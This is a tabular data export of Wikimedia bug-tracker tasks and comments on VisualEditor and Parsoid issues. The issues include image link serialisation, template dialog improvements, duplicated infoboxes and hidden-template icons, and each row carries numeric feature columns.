253933,Images: New images get a link=… set whether or not they need it,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934020,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
253926,Images: New images get a link=… set whether or not they need it,"This is worked around (albeit with potentially a bit of a hack) in VisualEditor, so not so important now from VisualEditor's POV.",,,1372214663,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,15.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8888888888888888,"This is worked around (albeit with potentially a bit of a hack) in VisualEditor, so not so important now from VisualEditor's POV."
253920,Images: New images get a link=… set whether or not they need it,*** Bug 49848 has been marked as a duplicate of this bug. ***,,,1372214626,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49848 has been marked as a duplicate of this bug. ***
253916,Images: New images get a link=… set whether or not they need it,Related URL: https://gerrit.wikimedia.org/r/70551 (Gerrit Change I75dbbfdd248a6f5696252ef3a2d7ca6ede0fa156),,,1372198165,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I75dbbfdd248a6f5696252ef3a2d7ca6ede0fa156)
253912,Images: New images get a link=… set whether or not they need it,"<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg"" data-parsoid=""{'a':{'href':'./File:VisualEditor-logo.svg'}}""><img src=""http://vewiki/MediaWiki/images/thumb/1/12/VisualEditor-logo.svg/300px-VisualEditor-logo.svg.png"" resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>

serialises to:

[[File:VisualEditor-logo.svg|300x105px]]

Whereas

<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg""><img src=""http://vewiki/MediaWiki/images/thumb/1/12/VisualEditor-logo.svg/300px-VisualEditor-logo.svg.png"" resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>

(removed data-parsoid from <a> tag)

serialises to:

[[File:VisualEditor-logo.svg|link=File:VisualEditor-logo.svg|300x105px]]",,,1371815879,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,10.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.5,12.0,0.0,5.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,10.0,5.081236897274634,0.5424528301886793,"<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg"" data-parsoid=""{'a':{'href':'./File:VisualEditor-logo.svg'}}""><img src=""URL resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>

serialises to:

[[File:VisualEditor-logo.svg|300x105px]]

Whereas

<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg""><img src=""URL resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>

(removed data-parsoid from <a> tag)

serialises to:

[[File:VisualEditor-logo.svg|link=File:VisualEditor-logo.svg|300x105px]]"
253906,Images: New images get a link=… set whether or not they need it,This looks like a Parsoid issue:,,,1371815790,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,This looks like a Parsoid issue:
51833,VisualEditor: Quick transclusion dialog UX improvements,"Template overall:
* Template panel should have a link to the template's definition page (if it's a real template)
* Template panel should have a link to the relevant MW Manual page (if it's a parser function)

Parameters:
* Label for parameter should use the ""label"" from TemplateData, not the wt name
* Label panel should use the ""description"" from TemplateData above the content box
* Label panel should indicate if a parameter is ""mandatory"" from TemplateData
* Label panel should show the ""default"" from TemplateData
* Label panel should indicate if a parameter is ""deprecated"" from TemplateData

Adding parameters:
* Template panel should show available unused parameters and way to add them
* Template panel should highlight available unused parameters that are mandatory
* Template panel should highlight available unused parameters that are in sets
* Insertion of a template with TemplateData should auto-insert the mandatory parameters

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52576",Medium,50.0,1371667800,1377905614.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-q46agi2mree3c3qnk2y4,task_description,invalid,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.3333333333333333,5.0,1.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.3333333333333333,4.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,1.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.333333333333333,1.6666666666666667,10.333333333333334,1.3333333333333333,0.3333333333333333,5.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,1.0,6.0,5.0,0.0,3.3333333333333335,0.0,1.0,0.0,1.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,4.2653923541247485,0.5141515761234071,"Template overall:
* Template panel should have a link to the template's definition page (if it's a real template)
* Template panel should have a link to the relevant MW Manual page (if it's a parser function)

Parameters:
* Label for parameter should use the ""label"" from TemplateData, not the wt name
* Label panel should use the ""description"" from TemplateData above the content box
* Label panel should indicate if a parameter is ""mandatory"" from TemplateData
* Label panel should show the ""default"" from TemplateData
* Label panel should indicate if a parameter is ""deprecated"" from TemplateData

Adding parameters:
* Template panel should show available unused parameters and way to add them
* Template panel should highlight available unused parameters that are mandatory
* Template panel should highlight available unused parameters that are in sets
* Insertion of a template with TemplateData should auto-insert the mandatory parameters

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
253343,VisualEditor: Quick transclusion dialog UX improvements,"… of the remaining items, I've split them out into:

(In reply to comment #2)
> Template panel:
> * Link to the template page (if it's a transclusion from a MediaWiki page)
> * Link to the MediaWiki.org Manual (if it's a parser function)

Collectively https://bugzilla.wikimedia.org/show_bug.cgi?id=49772

> * Use ""Param#required"" data to prioritise/encourage use of those parameters

https://bugzilla.wikimedia.org/show_bug.cgi?id=50747

> * Use ""Root#sets"" data to allow addition and/or completion of parameter
> sets

https://bugzilla.wikimedia.org/show_bug.cgi?id=53609

> * Cursor keys can let you select parameters in the search results off the
> screen and the dialog doesn’t scroll

https://bugzilla.wikimedia.org/show_bug.cgi?id=53610

> * Checkbox (?) to substitute a template on save, rather than leave as
> transclusion 

https://bugzilla.wikimedia.org/show_bug.cgi?id=49904

> Parameter panel:
> * Use ""Param#required"" from TemplateData

https://bugzilla.wikimedia.org/show_bug.cgi?id=53611

> * Use ""Param#default"" from TemplateData

https://bugzilla.wikimedia.org/show_bug.cgi?id=52753

> * Use ""Param#deprecated"" from TemplateData

https://bugzilla.wikimedia.org/show_bug.cgi?id=53612

> * Use ""Param#type"" from TemplateData

https://bugzilla.wikimedia.org/show_bug.cgi?id=53613

So, closing as INVALID.",,,1377905614,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,37.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,8.0,28.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.08974358974359,0.3974358974358974,"… of the remaining items, I've split them out into:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Collectively URL

QUOTE

URL

QUOTE
QUOTE

URL

QUOTE
QUOTE

URL

QUOTE
QUOTE

URL

QUOTE
QUOTE

URL

QUOTE

URL

QUOTE

URL

QUOTE

URL

So, closing as INVALID."
253336,VisualEditor: Quick transclusion dialog UX improvements,Have un-trackered-this;,,,1377900084,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.8571428571428571,Have un-trackered-this;
253328,VisualEditor: Quick transclusion dialog UX improvements,"UX items at this point:

| Template panel:
| * Move “add parameter” button to alongside the search field, not below the results list, so it can be found
| * Link to the template page (if it's a transclusion from a MediaWiki page)
| * Link to the MediaWiki.org Manual (if it's a parser function)
| * Use ""Param#required"" data to prioritise/encourage use of those parameters
| * Use ""Root#sets"" data to allow addition and/or completion of parameter sets
| * Auto-add required parameters when creating a new Template transclusion
| * Double-click on a parameter in the selection menu should insert it
| * Up/down keys work in the parameter search field results, but not left/right, even though it’s not just a vertical list
| * Cursor keys can let you select parameters in the search results off the screen and the dialog doesn’t scroll
| * When adding a template, auto-add all mandatory parameters
| * Checkbox (?) to substitute a template on save, rather than leave as transclusion 
| 
| Parameter panel:
| * Use ""Param#required"" from TemplateData
| * Use ""Param#default"" from TemplateData
| * Use ""Param#deprecated"" from TemplateData
| * Use ""Param#type"" from TemplateData",,,1373390839,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,3,True,,,1,,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,8.333333333333334,10.333333333333334,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,2.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,16.666666666666668,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,6.0,0.3333333333333333,11.333333333333334,2.0,1.0,7.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.0,0.0,2.0,10.333333333333334,8.333333333333334,0.3333333333333333,4.333333333333333,0.0,2.0,0.0,0.6666666666666666,2.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.0,3.7611024033437825,0.6346656217345872,"UX items at this point:

| Template panel:
| * Move “add parameter” button to alongside the search field, not below the results list, so it can be found
| * Link to the template page (if it's a transclusion from a MediaWiki page)
| * Link to the MediaWiki.org Manual (if it's a parser function)
| * Use ""Param#required"" data to prioritise/encourage use of those parameters
| * Use ""Root#sets"" data to allow addition and/or completion of parameter sets
| * Auto-add required parameters when creating a new Template transclusion
| * Double-click on a parameter in the selection menu should insert it
| * Up/down keys work in the parameter search field results, but not left/right, even though it’s not just a vertical list
| * Cursor keys can let you select parameters in the search results off the screen and the dialog doesn’t scroll
| * When adding a template, auto-add all mandatory parameters
| * Checkbox (?) to substitute a template on save, rather than leave as transclusion 
| 
| Parameter panel:
| * Use ""Param#required"" from TemplateData
| * Use ""Param#default"" from TemplateData
| * Use ""Param#deprecated"" from TemplateData
| * Use ""Param#type"" from TemplateData"
253322,VisualEditor: Quick transclusion dialog UX improvements,"updated:

Template panel:
* Link to the template page (if it's a transclusion from a MediaWiki page)
* Link to the MediaWiki.org Manual (if it's a parser function)
* Use ""Root#description"" from TemplateData: Done.

Parameter panel:
* Use ""Param#label"" from TemplateData: Done.
* Use ""Param#description"" from TemplateData: Done.
* Use ""Param#required"" from TemplateData: TODO.
* Use ""Param#default"" from TemplateData: TODO.
* Use ""Param#deprecated"" from TemplateData: TODO.
* Use ""Param#type"" from TemplateData: TODO.

""Add parameter"" panel:
* Show available (unused) parameters
* Use ""Param#required"" data to prioritise/encourage use of those parameters
* Use ""Root#sets"" data to allow addition and/or completion of parameter sets
* Creating a new Template transclusion should start with all required parameters auto-inserted (instead of requiring the user to add them one-by-one).",,,1372115134,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-q46agi2mree3c3qnk2y4,task_subcomment,,True,c1,2,True,,,-1,,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,10.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,21.5,1.0,0.5,4.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,1.5,10.0,11.5,0.0,10.0,0.0,1.5,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,3.929756751185323,0.47768501339929914,"updated:

Template panel:
* Link to the template page (if it's a transclusion from a MediaWiki page)
* Link to the MediaWiki.org Manual (if it's a parser function)
* Use ""Root#description"" from TemplateData: Done.

Parameter panel:
* Use ""Param#label"" from TemplateData: Done.
* Use ""Param#description"" from TemplateData: Done.
* Use ""Param#required"" from TemplateData: TODO.
* Use ""Param#default"" from TemplateData: TODO.
* Use ""Param#deprecated"" from TemplateData: TODO.
* Use ""Param#type"" from TemplateData: TODO.

""Add parameter"" panel:
* Show available (unused) parameters
* Use ""Param#required"" data to prioritise/encourage use of those parameters
* Use ""Root#sets"" data to allow addition and/or completion of parameter sets
* Creating a new Template transclusion should start with all required parameters auto-inserted (instead of requiring the user to add them one-by-one)."
51823,Infobox is duplicated and duplicate is substed,"In these two edits made with VisualEditor, the infobox was duplicated on save and the duplicate was actually subst'd into the infobox's table:
https://fr.wikipedia.org/w/index.php?diff=94112508
https://fr.wikipedia.org/w/index.php?diff=94163787

The behavior seems to be inconsistent since in the first case, the duplicate was inserted right after the infobox, and in the second case, it was inserted after the first paragraph

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1371653940,1373519486.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-ju3g2oypj6sg3qneywp4,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,4.0,0.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,8.0,1.0,2.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,12.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.228915662650603,0.5662650602409639,"In these two edits made with VisualEditor, the infobox was duplicated on save and the duplicate was actually subst'd into the infobox's table:
URL
URL

The behavior seems to be inconsistent since in the first case, the duplicate was inserted right after the infobox, and in the second case, it was inserted after the first paragraph

--------------------------
**Version**: unspecified
**Severity**: major"
252816,Infobox is duplicated and duplicate is substed,We believe that these cases have now been fixed (though we may be wrong). Please re-open if so.,,,1373519486,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ju3g2oypj6sg3qneywp4,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.9583333333333334,We believe that these cases have now been fixed (though we may be wrong). Please re-open if so.
252809,Infobox is duplicated and duplicate is substed,"Another infobox duplicated while the editor is touching something else (not the infobox):

https://ca.wikipedia.org/w/index.php?title=Hurac%C3%A0_de_Cuba_de_1910&diff=11973992&oldid=11973843

Duplication of infoboxes is a big deal, very visible and annoying for editors that have to go and change back. Defining importance just in case this report was unnoticed, although of course this is a call for JamesF.  :)",,,1372611006,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ju3g2oypj6sg3qneywp4,task_subcomment,,True,c1,2,False,,,-1,,0.0,2.0,2.0,0.0,2.0,7.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,2.0,2.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,20.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,8.0,3.0,3.0,11.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,4.360655737704918,0.819672131147541,"Another infobox duplicated while the editor is touching something else (not the infobox):

URL

Duplication of infoboxes is a big deal, very visible and annoying for editors that have to go and change back. Defining importance just in case this report was unnoticed, although of course this is a call for JamesF.  :)"
51806,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Hidden templates, like Template:Use British English, are displaying as carriage returns. These are pretty easy to mistakenly identify as typos or errors and delete. We need a better way of displaying those within the VE, or (as a long-term goal) a better way of surfacing metadata, a la the ""page settings"" page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49603
https://bugzilla.wikimedia.org/show_bug.cgi?id=53659",Medium,50.0,1371640200,1425595037.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fismtah5nhz3jechnxci,task_description,resolved,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,2.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,8.0,4.0,0.0,2.0,0.0,1.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,2.0,3.7010309278350517,0.6082474226804123,"Hidden templates, like Template:Use British English, are displaying as carriage returns. These are pretty easy to mistakenly identify as typos or errors and delete. We need a better way of displaying those within the VE, or (as a long-term goal) a better way of surfacing metadata, a la the ""page settings"" page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
425589,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"There is a curious case of the template: https://test2.wikipedia.org/wiki/Template:No_spam  {{@}}. 
Inserting {{@}}  will display the icon, just as for the hidden template: 'Use British English'. 

Is it intentional? 
",,,1426194482,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,4.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.938775510204082,0.6938775510204082,"There is a curious case of the template: URL  {{@}}. 
Inserting {{@}}  will display the icon, just as for the hidden template: 'Use British English'. 

Is it intentional? 
"
424617,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"After a page is Saved, and then switch to Edit mode - the icon for Hidden template is not displayed. Saw it in Chrome.",,,1426093128,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,22.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5185185185185186,0.9259259259259259,"After a page is Saved, and then switch to Edit mode - the icon for Hidden template is not displayed. Saw it in Chrome."
422065,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),{F56750}?,,,1425633018,,PHID-USER-tjeabpzbwsqw3xciydvb,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.25,1.0,{F56750}?
